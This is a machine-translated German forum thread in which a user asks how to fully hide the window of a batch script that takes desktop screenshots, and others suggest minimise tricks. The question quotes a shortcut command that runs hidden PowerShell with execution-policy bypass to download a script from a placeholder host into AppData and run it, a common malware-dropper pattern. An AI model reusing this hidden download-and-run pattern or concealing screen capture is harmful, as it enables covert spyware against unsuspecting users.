2017-08-14 1 views
0

Vielen Dank im Voraus für Ihre Zeit.(Batch-Skript) - Desktop-Screenshot (funktional), kann aber nicht minimiert werden?

Ich habe ein Batch-Skript (bat1.cmd) gefunden/bearbeitet, das einen Desktop-Screenshot erstellt. Alles funktioniert tatsächlich gut. Hier ist mein vollständiger Code = https://pastebin.com/KvqgFx5L.

Meine einzige Anfrage hier ist verstecken/minimieren Sie das bat1.cmd Fenster, wenn ich es (innerhalb einer lnk, überprüfen Sie "NB" am Ende meiner Nachricht).

Ich habe einige Forschungen und eine klassische Lösung ist diese Art von Skripten zu verwenden:

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit 

oder

if not "%minimized%"=="" goto :minimized 
set minimized=true 
start /min cmd /C "%~dpnx0" 
goto :EOF 
:minimized 

Leider spezielle Parameter meiner Batch-Skript (bat1.cmd) hat, die nicht zu tun erlaube (?), diese Art von "Minimieren" -Skript hinzuzufügen (ich habe versucht, es oben hinzuzufügen, innerhalb des Skripts usw. und nichts funktioniert).

NB: Das Batch-Skript (bat1.cmd) wird innerhalb einer kurzen Zeit (bat1.lnk) heruntergeladen/ausgeführt, aber minimierte Parameter im lnk werden das bat1.cmd-Fenster nicht minimiert (ich denke?/Ich habe einen Test gemacht).

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd'); 

Vielen Dank im Voraus für Ihre Hilfe.

+0

Ich würde nicht versuchen, das Rad neu zu erfinden - ich empfehle dafür [cmdow] (https://ritchielawrence.github.io/cmdow/). – LotPings

Antwort

0

Ok ich habe eine Lösung gefunden. Fügen Sie den "minimieren" -Code am Anfang hinzu, nachdem: Batch @echo aus. Ich denke, es ist in Ordnung? Das Fenster erscheint immer noch 0,1 Sekunden und ist dann minimiert. Irgendeine Möglichkeit, es völlig versteckt zu machen? Ich habe bereits die Fenstergröße Spalte/Zeile reduziert. Ich frage mich, ob wir die Fensterposition ändern können (ohne Drittanbieter-Tool)?

+0

Ich würde diese letzte Zeile ändern, um 'If Not Defined' zu lesen IS_MINIMIZED (Setzen Sie "IS_MINIMIZED = 1" ) '' 'ist Ihre Befehle ersetzen alle unnötigen' && 'mit' & '. – Compo

Verwandte Themen